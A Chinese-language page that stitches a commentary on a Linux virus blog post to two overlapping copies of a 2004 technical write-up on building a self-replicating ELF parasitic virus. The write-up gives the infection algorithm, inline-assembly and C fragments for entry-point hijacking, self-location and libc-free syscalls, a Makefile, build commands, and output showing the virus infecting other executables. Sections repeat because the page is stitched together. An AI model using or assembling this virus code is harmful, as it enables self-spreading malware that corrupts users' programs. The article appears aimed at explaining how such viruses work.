Linux安全编程

如何编写一个Linux病毒


 
         每个人都知道Linux没有病毒,或者类似的东西。有人进而推论认为Linux对病毒之类的东西是免疫的,因为它设计的太棒了,Macs也是如此。其实这种观点是错误的。


         名为foobar的博客者在Geekzone中发表了一篇名为“5个步骤写出一个Linux病毒”的文章,文章虽然名义上是写如何制造Linux病毒的,实际却是告诉读者现实世界中病毒是如何工作的以及Linux是多么的脆弱。


         而且foobar文章的难点不在于如何在Linux上写出攻击性代码,更重要的是如何感染其他Linux操作系统电脑。实际上,foobar的病毒攻击基本上也就是特洛伊木马攻击,而且foobar明确指出特洛伊木马攻击是Windows病毒的常用模式。


         有人指出foobar的攻击并非严格意义上针对Linux的,而是GNOME或者KDE或者其他更高端软件,这也的确是事实。实际上这给用户提供了防范信息:许多人的电脑运行Linux,也便会有许多电脑运行GNOME或者KDE,攻击后两者便是攻击Linux。当初对Windows的攻击不也是先从攻击Office、Flash和Acrobat等软件开始的吗?


         Foobar采用在e-mail中添加附件来传播病毒(当然邮件的标题要有吸引力来诱使用户点击),这种方式也不甚妥当。因为Windows上的e-mail程序会去除那些可执行的附件,而且Webmail服务器有AV杀毒浏览,所以现在经常采用的方式是在e-mail中附加web链接来传播病毒。在这一点上,Windows和Linux没有太大的不同。


         很重要的一点是如何让病毒在Linux上执行,这也是一个难点。在Windows中,用户一旦下载了文件并运行,只有执行许可(execute permissions)运行了他才可以执行文件。Windows有执行许可(execute permissions),但默认它们是开的。而foobar采用的方法与此类似:KDE 和GNOME有个叫做“launchers”的设备(其文件名的末尾是".desktop"),它可以不需要执行许可的详细设置就执行一个单独的命令。这是一个长久以来就存在的问题,也是foobar利用的Linux的主要弱点(应该说是KDE 和GNOME的主要弱点)。


         Foobar博客的核心内容对我们而言并不陌生,但由此我们可以看到Windows上的病毒之所以多,并不是因为操作系统自身对病毒更友好,而是一些漏洞。而且几乎每一种阻止病毒在Linux上发展的东西都采用在了Vista SP1中。


         用户如何应对呢?foobar建议不要点击Linux上不明的附件,当然在Windows中还不要点击web链接。而且他个人建议解决KDE 和GNOME中.desktop的漏洞。我怀疑这会遭来强烈的反对,因为作为终端用户系统这大大降低了可用性和读取性。


         Foobar博客还揭示了其他问题:有许多特权提升(privilege elevation)的漏洞在各种需要本地读取的Linux中,如果用户没有升级完全(Windows用户也需要警惕这一点),foobar的病毒就会获取你的本地读取,同时攻击决定利用哪一个特权提升(privilege elevation)bug。很多Linux用户不知道如何升级漏洞补丁来阻挡特权进程(如Samba),从而将漏洞暴露给了黑客。


剖析Linux病毒原型工作过程和关键环节

  一、 介绍
  
  写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。
  
  二、 ELF Infector (ELF文件感染器)
  
  为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:
  
  The final algorithm is using this information is.
  * Increase p_shoff by PAGE_SIZE in the ELF header
  * Patch the insertion code (parasite) to jump to the entry point
  (original)
  * Locate the text segment program header
  * Modify the entry point of the ELF header to point to the new
  code (p_vaddr + p_filesz)
  * Increase p_filesz by account for the new code (parasite)
  * Increase p_memsz to account for the new code (parasite)
  * For each phdr who's segment is after the insertion (text segment)
  * increase p_offset by PAGE_SIZE
  * For the last shdr in the text segment
  * increase sh_len by the parasite length
  * For each shdr who's section resides after the insertion
  * Increase sh_offset by PAGE_SIZE
  * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
  the file - text segment p_offset + p_filesz (original)
  
  在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单,你只需要提供以下三个定义:
  
  * 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始地址的偏移,用于返回到目标程序的正常入口
  
  #define PARACODE_RETADDR_ADDR_OFFSET 1232
  
  * 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)
  void parasite_code(void);
  
  * 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
  void parasite_code_end(void);
  
  parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
  void parasite_code(void)
  {
  ...
  ...
  ...
  }
  void parasite_code_end(void) {}
  
  在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
  void parasite_code(void)
  {
  ...
  ...
  ...
  }
  void parasite_code_end(void) {parasite_code();}
  
  有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染
  
  face=Verdana>
  
  三、病毒原型的工作过程
  
  1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一个带毒文件,后续的传播就由它来完成。
  
  2 当带毒文件被执行时,会首先跳到病毒代码开始执行。
  
  3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。
  
  4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。
  
  5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。
  
  6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。
  
  7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。
  
  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
  
  四、关键技术问题及处理
  
  1 ELF文件执行流程重定向和代码插入
  
  在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:
  
  * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述:
  p_align
  As ``Program Loading'' later in this part describes, loadable
  process segments must have congruent values for p_vaddr and
  p_offset, modulo the page size.
  
  * 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:
  /* Modify the entry point of the ELF */
  org_entry = ehdr->e_entry;
  ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
  
  2 病毒代码如何返回到真正的ELF文件入口
  
  方法技巧应该很多,这里采用的方法是PUSH+RET组合:
  
  __asm__ volatile (
  ...
  "return:\n\t"
  "push $0xAABBCCDD\n\t" /* push ret_addr */
  "ret\n"
  ::);
  
  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。
  
  五、 新编译环境下的调试方法
  
  grip2@linux:~/tmp/virus> ls
  g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
  
  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
  grip2@linux:~/tmp/virus> cat Makefile
  all: foo gei
  gei: g-elf-infector.c gvirus.o
  gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
  foo: foo.c
  gcc $< -o foo
  gvirus.o: gvirus.c
  gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  clean:
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  
  编译代码
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  
  先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义
  grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
  Parasite code length: 1744
  
  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
  grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
  8049427: 68 dd cc bb aa push $0xaabbccdd
  grip2@linux:~/tmp/virus> objdump -d gei|grep ""
  08048d80 :
  8049450: e9 2b f9 ff ff jmp 8048d80
  grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
  08048d80 :
  
  0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
  
  重新编译
  grip2@linux:~/tmp/virus> make clean
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  
  grip2@linux:~/tmp/virus> ls
  gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
  g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
  
  建立一个测试目录,测试一下
  grip2@linux:~/tmp/virus> mkdir test
  grip2@linux:~/tmp/virus> cp gei foo test
  grip2@linux:~/tmp/virus> cd test
  grip2@linux:~/tmp/virus/test> ls
  gei foo
  grip2@linux:~/tmp/virus/test> cp foo h
  
  制作带毒程序
  grip2@linux:~/tmp/virus/test>. /gei h
  file size: 8668
  e_phoff: 00000034
  e_shoff: 00001134
  e_phentsize: 00000020
  e_phnum: 00000008
  e_shentsize: 00000028
  e_shnum: 00000025
  text segment file offset: 0
  [15 sections patched]
  grip2@linux:~/tmp/virus/test> ll
  total 44
  -rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
  
  运行带毒程序
  grip2@linux:~/tmp/virus/test>. /h
  .
  ..
  gei
  foo
  h
  .backup.h
  real elf point
  grip2@linux:~/tmp/virus/test> ll
  total 52
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  
  测试上面带毒程序运行后,是否感染了其他ELF程序
  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  real elf point
  
  OK,成功
  grip2@linux:~/tmp/virus/test> cp. ./foo hh
  grip2@linux:~/tmp/virus/test> ll
  total 64
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  
  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  hh
  real elf point
  grip2@linux:~/tmp/virus/test>
  
  六、总结
  
  由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。


 一个Linux病毒原型分析

分类: LINUX
作者:grip2 
日期:2004/12/12




内容:
    1 -- 介绍
    2 -- ELF Infector (ELF文件感染器)
    3 -- 病毒原型的工作过程
    4 -- 关键技术问题及处理
    5 -- 在一个新的编译环境下的调试方法
    6 -- 最后
    7 -- 参考文献
    8 -- 附录 - ELF文件感染工具和病毒原型源代码




 一、 ** 介绍            
 
    写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,
同时向对这方面有兴趣的朋友做一个简单的介绍。
   
    阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入
了汇编的C代码、了解病毒的基本工作原理。
[separator]


二、 ** ELF Infector (ELF文件感染器)


    为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。


    对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》
一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的
地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:
   
    The final algorithm is using this information is.
    * Increase p_shoff by PAGE_SIZE in the ELF header
    * Patch the insertion code (parasite) to jump to the entry point
      (original)
    * Locate the text segment program header
        * Modify the entry point of the ELF header to point to the new
          code (p_vaddr + p_filesz)
        * Increase p_filesz by account for the new code (parasite)
        * Increase p_memsz to account for the new code (parasite)
    * For each phdr who's segment is after the insertion (text segment)
        * increase p_offset by PAGE_SIZE
    * For the last shdr in the text segment
        * increase sh_len by the parasite length
    * For each shdr who's section resides after the insertion
        * Increase sh_offset by PAGE_SIZE
    * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
      the file - text segment p_offset + p_filesz (original)
     
在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在
附录中你可以看到这个感染工具的源代码: g-elf-infector.c


g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介
绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到
指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c
的接口很简单,你只需要提供以下三个定义:


    * 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始
    地址的偏移,用于返回到目标程序的正常入口
        #define PARACODE_RETADDR_ADDR_OFFSET 1232   
       
    * 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)
        void parasite_code(void);
       
    * 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
        void parasite_code_end(void);


parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
    void parasite_code(void)
    {
        ...
        ...
        ...
    }
    void parasite_code_end(void) {}


在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code
地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
    void parasite_code(void)
    {
        ...
        ...
        ...
    }
    void parasite_code_end(void) {parasite_code();}


有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染
~grip2@linux> ./gei foo




三、** 病毒原型的工作过程


    1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一
个带毒文件,后续的传播就由它来完成。
    2 当带毒文件被执行时,会首先跳到病毒代码开始执行。
    3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。
    4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。
    5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,
代码的实现也是有较大区别的。
    6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,
如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有
剩余的空间,因此二次感染是不会发生的。
    7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到
真正的可执行文件入口,开始正常的运行过程。


上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的
关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看
实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
   
   
四、** 关键技术问题及处理


1 ELF文件执行流程重定向和代码插入


在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:


    * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉
ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变
所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部
分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要
注意文本段增加长度的对齐问题,见ELF文档中的描述:
        p_align
          As ``Program Loading'' later in this part describes, loadable
          process segments must have congruent values for p_vaddr and
          p_offset, modulo the page size.


    * 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:
    /* Modify the entry point of the ELF */
    org_entry = ehdr->e_entry;
    ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
   
2 病毒代码如何返回到真正的ELF文件入口


方法技巧应该很多,这里采用的方法是PUSH+RET组合:
__asm__ volatile (
    ...
    "return:\n\t"
    "push $0xAABBCCDD\n\t" /* push ret_addr */
    "ret\n"
::);
其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程
序来填写。


3 堆栈和寄存器的恢复


病毒代码必须保证运行前、后的堆栈和寄存器内容完全相同,这通过增加额外的代码
来完成。
在进入时:
    __asm__ volatile (
        "push %%eax\n\t"
        "push %%ecx\n\t"
        "push %%edx\n\t"
        ::);
退出时:
    __asm__ volatile (
        "popl %%edx\n\t"
        "popl %%ecx\n\t"
        "popl %%eax\n\t"
        "addl $0x102c, %%esp\n\t"
        "popl %%ebx\n\t"
        "popl %%esi\n\t"
        "popl %%edi\n\t"
        "popl %%ebp\n\t"
        "jmp return\n"


要注意上面的代码是根据特定的编译器、编译选项来调整的,在不同的环境下如果重
新编译病毒程序,可能还需要做一些调整。


4 字符串的使用


write(1, "hello world\n", 12);
在病毒代码中这样对一个字符串直接引用是不可以的。这是对字符串的使用是一个绝
对地址引用,病毒代码在进入到一个新的宿主内后,这一绝对地址的内容是无法得到
保证的,因此在病毒代码内应该使用相对地址或间接地址进行字符串访问。
下面是Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》中的一个解决办法,利用
了缓冲区溢出中shellcode的编写技术:
In x86 Linux, some syscalls require the use of an absolute address pointing to
initialized data.  This can be made relocatable by using a common trick used
in buffer overflow code.


    jmp    A
B:
    pop %eax    ; %eax now has the address of the string
    .        ; continue as usual
    .
    .


A:
    call B
.string \"hello\"
By making a call directly proceeding the string of interest, the address of
the string is pushed onto the stack as the return address.


但是在编写这个linux病毒原型代码时,我并没有使用这个方法,我尽力使代码使用
C语言的语法:
    char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};


#ifndef NDEBUG
    char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
            's','u','p','p','o','r','t','e','d','\n','\0'};
    char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
            'n','e','x','t',' ','f','i','l','e','\n','\0'};
#endif


在这里将字符串以字符数组的形式出现,编译之后的代码是这样:
    ...
        movb    $47, -8312(%ebp)
        movb    $116, -8311(%ebp)
        movb    $109, -8310(%ebp)
        movb    $112, -8309(%ebp)
        movb    $47, -8308(%ebp)
        movb    $46, -8307(%ebp)
        movb    $103, -8306(%ebp)
        movb    $118, -8305(%ebp)
        movb    $105, -8304(%ebp)
        movb    $114, -8303(%ebp)
        movb    $117, -8302(%ebp)
        movb    $115, -8301(%ebp)
        ...
这样带来一个负面影响就是增加了代码长度,但是适当的使用对代码长度影响并不大。
值得注意的一点是,当字符数组定义的尺寸超过了64时,在我的编译环境下,编译器
对代码进行了优化,会导致编译后代码成为:
...
.section        .rodata
.LC0:
        .byte   47
        .byte   116
        .byte   109
        .byte   112
        .byte   47
        .byte   46
        .byte   103
        .byte   118
        .byte   105
        .byte   114
        .byte   117
        .byte   115
        .byte   0
...
数据被放到了.rodata section中,这样就使得其无法随病毒代码一起进入宿主,会
造成访问失败,所以注意数组的申请尽量保持32以内,防止编译器优化。


除此之外,使用整型数组的方法也与此类似,不再赘述。


5 遭遇gcc-3.3的bug


gvirus.c中有一部分的数据初始化是这样的:
    ...
    char curdir[2] = {'.', 0};
    char newline = '\n';


    curdir[0] = '.';
    curdir[1] = 0;
    newline = '\n';


    if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
        goto out;
    ...
       
也许你会奇怪,为什么curdir和newline在已经初始化后还要重新赋值,这其中的原因
是为了绕过一个gcc的bug。
在我的编译环境下,当只做
    char curdir[2] = {'.', 0};
    char newline = '\n';
这样的初始化时,反汇编代码如下:
...
0x08048cb0 :   push   %ebp
0x08048cb1 :   push   %edi
0x08048cb2 :   push   %esi
0x08048cb3 :   push   %ebx
0x08048cb4 :   sub    $0x20bc,%esp
0x08048cba :  push   %eax
0x08048cbb :  push   %ecx
0x08048cbc :  push   %edx
0x08048cbd :  xor    %ecx,%ecx
0x08048cbf :  lea    0x4e(%esp),%ebx    <-- 使用curdir
0x08048cc3 :  mov    $0x5,%eax
0x08048cc8 :  mov    %ecx,%edx
0x08048cca :  int    $0x80        <-- g_open系统调用
0x08048ccc :  mov    %eax,0x38(%esp)
0x08048cd0 :  cmp    $0xffffff82,%eax
0x08048cd3 :  jbe    0x8048cdd 
0x08048cd5 :  movl   $0xffffffff,0x38(%esp)
0x08048cdd :  mov    0x38(%esp),%eax
0x08048ce1 :  test   %eax,%eax
0x08048ce3 :  js     0x804915d 
0x08048ce9 :  movw   $0x2e,0x4e(%esp)    <-- curdir的初始化
...
从注释可以看出,在这种情况下,curdir的初始化被放到了g_open使用其做参数之后。


当加入
    curdir[0] = '.';
    curdir[1] = 0;
    newline = '\n';
后,反汇编代码如下:
...
0x08048cb0 :   push   %ebp
0x08048cb1 :   push   %edi
0x08048cb2 :   push   %esi
0x08048cb3 :   push   %ebx
0x08048cb4 :   sub    $0x20bc,%esp
0x08048cba :  push   %eax
0x08048cbb :  push   %ecx
0x08048cbc :  push   %edx
0x08048cbd :  xor    %ecx,%ecx
0x08048cbf :  movw   $0x2e,0x4e(%esp)    <-- curdir的初始化
0x08048cc6 :  lea    0x4e(%esp),%ebx    <-- 作为参数使用
0x08048cca :  mov    $0x5,%eax
0x08048ccf :  mov    %ecx,%edx
0x08048cd1 :  int    $0x80        <-- g_open系统调用
...
从注释可以看出,加入了这段代码后,程序编译正确,避免了这个编译器bug。


6 通过C语言和inline保证病毒代码的可读性和可移植性


用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写
程序的一个普遍的缺点。
在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的
限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码
层次分明,保证可读性。


7 病毒代码复制时如何获得自己的起始地址?


虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒
文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播
时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新
定位自己的起始位置。


在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并
不是一个最好的方法:


    /* Get start address of virus code */
    __asm__ volatile (
        "jmp get_start_addr\n"
    "infect_start:\n\t"
        "popl %0\n\t"
        :"=m" (para_code_start_addr)
        :);
    para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
   
    ... /* c代码 */
    ...
   
    __asm__ volatile (
        ...
        "get_start_addr:\n\t"
        "call infect_start\n"
    "return:\n\t"
        "push $0xAABBCCDD\n\t" /* push ret_addr */
        "ret\n"
        ::);
       
通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。
这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于
存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道
的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值:
    #ifndef NDEBUG
    #define PARACODE_RETADDR_ADDR_OFFSET 1704
    #else
    #define PARACODE_RETADDR_ADDR_OFFSET 1232
    #endif


这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,
para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减
一个push指令的长度,就是病毒代码的起始地址):


    para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;




8 抛弃C库


由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数
调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函
数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向
外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我
们有必要选择抛弃C库。


没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有
两种情况,一种是系统调用,另一种是普通的函数。


对于系统调用,我们采用了重新包装的方法:
    static inline
    g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
    static inline
    g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
    static inline
    g_syscall3(int, open, const char *, file, int, flag, int, mode);
    static inline
    g_syscall1(int, close, int, fd);
    static inline
    g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
           int, flags, int, fd, off_t, offset);
    static inline
    g_syscall2(int, munmap, void *, addr, size_t, len);
    static inline
    g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
    static inline
    g_syscall2(int, fstat, int, filedes, struct stat *, buf);
   
并且修改了syscall包装的宏定义,如
    #define g__syscall_return(type, res) \
    do { \
        if ((unsigned long)(res) >= (unsigned long)(-125)) { \
            res = -1; \
        } \
        return (type) (res); \
    } while (0)


    #define g_syscall0(type,name) \
    type g_##name(void) \
    { \
    long __res; \
    __asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name)); \
    g__syscall_return(type,__res); \
    }   
   
对于普通的函数,直接复制一份函数定义:
static inline void * __memcpy(void * to, const void * from, size_t n)
{
    int d0, d1, d2;
    __asm__ __volatile__(
        "rep ; movsl\n\t"
        "testb $2,%b4\n\t"
        "je 1f\n\t"
        "movsw\n"
        "1:\ttestb $1,%b4\n\t"
        "je 2f\n\t"
        "movsb\n"
        "2:"
        : "=&c" (d0), "=&D" (d1), "=&S" (d2)
        :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
        : "memory");
    return (to);
}


9 保证病毒代码的瘦身需要


为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意
代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个
调用都会引起代码体积的增加。
在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对
目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标
文件时所要做的read调用,节省了一些空间:


    ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
    if (ehdr == MAP_FAILED) {
        goto err;
    }
   
    /* Check ELF magic-ident */
    if (ehdr->e_ident[EI_MAG0] != 0x7f
        || ehdr->e_ident[EI_MAG1] != 'E'
        || ehdr->e_ident[EI_MAG2] != 'L'
        || ehdr->e_ident[EI_MAG3] != 'F'
        || ehdr->e_ident[EI_CLASS] != ELFCLASS32
        || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
        || ehdr->e_ident[EI_VERSION] != EV_CURRENT
        || ehdr->e_type != ET_EXEC
        || ehdr->e_machine != EM_386
        || ehdr->e_version != EV_CURRENT
        ) {
        V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
        goto err;
    }


当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的
代码体积还在合理的范围,
在调试状态和标准状态分别是1744和1248
    #ifndef NDEBUG
    #define PARACODE_LENGTH 1744
    #else
    #define PARACODE_LENGTH 1248
    #endif


10 数据结构的不一致


    与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过
包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。


struct dirent {
    long        d_ino;
    unsigned long    d_off;
    unsigned short    d_reclen;
    char        d_name[256]; /* We must not include limits.h! */
};


struct stat {
    unsigned long  st_dev;
    unsigned long  st_ino;
    unsigned short st_mode;
    unsigned short st_nlink;
    unsigned short st_uid;
    unsigned short st_gid;
    unsigned long  st_rdev;
    unsigned long  st_size;
    unsigned long  st_blksize;
    unsigned long  st_blocks;
    unsigned long  st_atime;
    unsigned long  st_atime_nsec;
    unsigned long  st_mtime;
    unsigned long  st_mtime_nsec;
    unsigned long  st_ctime;
    unsigned long  st_ctime_nsec;
    unsigned long  __unused4;
    unsigned long  __unused5;
};


五、** 在一个新的编译环境下的调试方法


grip2@linux:~/tmp/virus> ls
g-elf-infector.c  gsyscall.h  gunistd.h  gvirus.c  gvirus.h  foo.c  Makefile  parasite-sample.c  parasite-sample.h


调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
        gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
        gcc $< -o foo
gvirus.o: gvirus.c
        gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
        rm *.o -rf
        rm foo -rf
        rm gei -rf
      
编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG


先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义
grip2@linux:~/tmp/virus> ./gei -l    <-- 这里获取病毒代码的长度
Parasite code length: 1744


